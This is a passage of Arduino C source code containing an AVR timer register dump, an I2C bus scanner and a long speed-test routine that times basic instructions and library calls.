TimerRegisterDump(void)\n{\n Serial.println(F(\"Timer Register dump:\"));\n Serial.print(F(\"TIMER0 TCCR0A = 0x\")); Serial.println(TCCR0A,HEX);\n Serial.print(F(\"TIMER0 TCCR0B = 0x\")); Serial.println(TCCR0B,HEX);\n Serial.print(F(\"TIMER0 OCR0A = 0x\")); Serial.println(OCR0A,HEX);\n Serial.print(F(\"TIMER0 OCR0B = 0x\")); Serial.println(OCR0B,HEX);\n Serial.print(F(\"TIMER0 TIMSK0 = 0x\")); Serial.println(TIMSK0,HEX);\n Serial.print(F(\"TIMER0 TCNT0 = 0x\")); Serial.println(TCNT0,HEX);\n Serial.print(F(\"TIMER0 TIFR0 = 0x\")); Serial.println(TIFR0,HEX);\n\n Serial.print(F(\"TIMER1 TCCR1A = 0x\")); Serial.println(TCCR1A,HEX);\n Serial.print(F(\"TIMER1 TCCR1B = 0x\")); Serial.println(TCCR1B,HEX);\n Serial.print(F(\"TIMER1 TCCR1C = 0x\")); Serial.println(TCCR1C,HEX);\n Serial.print(F(\"TIMER1 OCR1A = 0x\")); Serial.println(OCR1A,HEX);\n Serial.print(F(\"TIMER1 OCR1B = 0x\")); Serial.println(OCR1B,HEX);\n Serial.print(F(\"TIMER1 TIMSK1 = 0x\")); Serial.println(TIMSK1,HEX);\n Serial.print(F(\"TIMER1 TCNT1 = 0x\")); Serial.println(TCNT1,HEX);\n Serial.print(F(\"TIMER1 ICR1 = 0x\")); Serial.println(ICR1,HEX);\n Serial.print(F(\"TIMER1 TIFR1 = 0x\")); Serial.println(TIFR1,HEX);\n\n Serial.print(F(\"TIMER2 TCCR2A = 0x\")); Serial.println(TCCR2A,HEX);\n Serial.print(F(\"TIMER2 TCCR2B = 0x\")); Serial.println(TCCR2B,HEX);\n Serial.print(F(\"TIMER2 OCR2A = 0x\")); Serial.println(OCR2A,HEX);\n Serial.print(F(\"TIMER2 OCR2B = 0x\")); Serial.println(OCR2B,HEX);\n Serial.print(F(\"TIMER2 TIMSK2 = 0x\")); Serial.println(TIMSK2,HEX);\n Serial.print(F(\"TIMER2 TCNT2 = 0x\")); Serial.println(TCNT2,HEX);\n Serial.print(F(\"TIMER2 TIFR2 = 0x\")); Serial.println(TIFR2,HEX);\n Serial.print(F(\"TIMER2 ASSR = 0x\")); Serial.println(ASSR,HEX);\n Serial.print(F(\"TIMERn GTCCR = 0x\")); Serial.println(GTCCR,HEX);\n\n Serial.println(F(\"-----------\"));\n}\n#endif\n\n\n#if !defined (__AVR_ATmega32U4__)\nvoid i2c_scanner(void)\n{\n byte error, address;\n int nDevices;\n\n Serial.println(F(\"\"));\n Serial.println(F(\"i2c_scanner\"));\n Serial.println(F(\"Scanning...\"));\n\n Wire.begin();\n\n nDevices = 0;\n for(address = 1; address < 127; address++ ) \n {\n \/\/ The i2c_scanner uses the return value of\n \/\/ the Write.endTransmisstion to see if\n \/\/ a device did acknowledge to the address.\n Wire.beginTransmission(address);\n error = Wire.endTransmission();\n\n if (error == 0)\n {\n Serial.print(F(\"I2C device found at address 0x\"));\n if (address<16) \n Serial.print(F(\"0\"));\n Serial.print(address,HEX);\n Serial.println(F(\" !\"));\n\n nDevices++;\n }\n else if (error==4) \n {\n Serial.print(F(\"Unknow error at address 0x\"));\n if (address<16) \n Serial.print(F(\"0\"));\n Serial.println(address,HEX);\n } \n }\n if (nDevices == 0)\n Serial.println(F(\"No I2C devices found.\"));\n else\n Serial.println(F(\"Done.\"));\n\n Serial.println(F(\"-----------\"));\n}\n#endif\n\n\nvoid SpeedTest(void)\n{\n register int i,j;\n volatile unsigned char c1,c2;\n volatile int v;\n volatile long l1,l2;\n volatile float f1,f2;\n int p,q,r;\n unsigned long m,n;\n float d, overhead;\n char buffer[30];\n\n Serial.println(F(\"\"));\n Serial.println(F(\"Speed test\"));\n Serial.println(F(\"----------\"));\n\n Serial.print(F(\"F_CPU = \"));\n Serial.print(F_CPU,DEC);\n Serial.println(F(\" Hz\"));\n Serial.print(F(\"1\/F_CPU = \"));\n Serial.print((1000000.0\/(float)F_CPU),4);\n Serial.println(F(\" us\"));\n\n#if !defined (__AVR_ATmega32U4__)\n Serial.println(F(\"The next tests are runtime compensated for overhead\"));\n Serial.println(F(\"Interrupts are still enabled, because millis() is used for timing\"));\n#endif \n delay(800); \/\/ Allow the Serial text to be transmitted\n\n Serial.print(F(\" nop : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<100; i++)\n {\n for (j=0; j<10000; j++)\n {\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n asm volatile (\"nop\");\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0; \/\/ in micro seconds\n \/\/ Calculate overhead with 'nop' instruction per loop in microseconds\n overhead = d - (20.0 * (1000000.0\/(float)F_CPU));\n d -= overhead;\n d \/= 20.0; \/\/ per instruction\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" avr gcc I\/O : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<50; i++)\n {\n for (j=0; j<10000; j++)\n {\n \/\/ Use system led\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n\n PORTB |= _BV(PORTB5);\n PORTB &= ~_BV(PORTB5);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" Arduino digitalRead : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<10000; j++)\n {\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n\n digitalRead(13); \n digitalRead(13); \n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" Arduino digitalWrite : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<10000; j++)\n {\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n\n digitalWrite(13, HIGH); \n digitalWrite(13, LOW); \n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" pinMode : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<10000; j++)\n {\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n\n pinMode(13, INPUT); \n pinMode(13, OUTPUT); \n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" multiply byte : \"));\n c1 = 2;\n c2 = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<20; i++)\n {\n for (j=0; j<10000; j++)\n {\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n c1 *= c2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" divide byte : \"));\n c1 = 253;\n c2 = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<10000; j++)\n {\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n c1 \/= c2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" add byte : \"));\n c1 = 1;\n c2 = 2;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<20; i++)\n {\n for (j=0; j<10000; j++)\n {\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n c1 += c2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" multiply integer : \"));\n volatile int x,y;\n x = 2;\n y = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<10; i++)\n {\n for (j=0; j<10000; j++)\n {\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n x *= y;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" divide integer : \"));\n x = 31415;\n y = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<10000; j++)\n {\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n x \/= y;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" add integer : \"));\n x = 1;\n y = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<10; i++)\n {\n for (j=0; j<10000; j++)\n {\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n x += y;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" multiply long : \"));\n l1 = 2;\n l2 = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<10000; j++)\n {\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n l1 *= l2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" divide long : \"));\n l1 = 2000000000L;\n l2 = 3;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<2000; j++)\n {\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n l1 \/= l2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" add long : \"));\n l1 = 500000000L;\n l2 = 123;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<4; i++)\n {\n for (j=0; j<10000; j++)\n {\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n l1 += l2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" multiply float : \"));\n f1 = 3.24;\n f2 = 1.25;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<10000; j++)\n {\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n f1 *= f2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" divide float : \"));\n f1 = 312645.24;\n f2 = 1.21;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<2000; j++)\n {\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n f1 \/= f2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" add float : \"));\n f1 = 9876.54;\n f2 = 1.23;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<10000; j++)\n {\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n f1 += f2;\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" itoa() : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<10000; j++)\n {\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n itoa(i,buffer,10);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n long int l = 314159L;\n Serial.print(F(\" ltoa() : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<500; j++)\n {\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n ltoa(l,buffer,10);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" dtostrf() : \"));\n float d3;\n d3 = 3.14159265;\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<1000; j++)\n {\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n dtostrf (d3, 6, 2, buffer);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" random() : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<2; i++)\n {\n for (j=0; j<1000; j++)\n {\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n r=random();\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" y |= (1<<x) : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<20; i++)\n {\n for (j=0; j<10000; j++)\n {\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n v |= _BV(12);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" bitSet() : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<20; i++)\n {\n for (j=0; j<10000; j++)\n {\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n bitSet (v, 12);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\/\/ #define ENABLE_ANALOGREFERENCE_TIMING\n#ifdef ENABLE_ANALOGREFERENCE_TIMING\n Serial.print(F(\" analogReference() : \"));\n#if defined (__AVR_ATmega1280__) || defined (__AVR_ATmega2560__)\n #define _NOT_DEFAULT_ INTERNAL1V1\n#else\n #define _NOT_DEFAULT_ INTERNAL\n#endif\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<20; i++)\n {\n for (j=0; j<10000; j++)\n {\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n analogReference (_NOT_DEFAULT_);\n analogReference (DEFAULT);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n#endif\n\n\n Serial.print(F(\" analogRead() : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<1000; j++)\n {\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n analogRead (0);\n analogRead (1);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" analogWrite() PWM : \"));\n \/\/ Using pin 13 (system led) for output.\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<10000; j++)\n {\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n analogWrite (13, 100);\n analogWrite (13, 200);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" delay(1) : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<100; j++)\n {\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n delay(1);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" delay(100) : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<1; i++)\n {\n for (j=0; j<2; j++)\n {\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n delay(100);\n }\n }\n n=millis();\n d = ((float)n - (float)m) \/ ((float)i * (float)j);\n d *= 1000.0;\n d -= overhead;\n d \/= 20.0;\n Serial.print (d,3);\n Serial.println (F(\" us\"));\n\n\n\n Serial.print(F(\" delayMicroseconds(2) : \"));\n delay(70); \/\/ Allow the Serial text to be transmitted\n m=millis();\n for (i=0; i<20; i++)\n {\n for (j=0; j<10000; j++)\n {\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n delayMicroseconds(2);\n 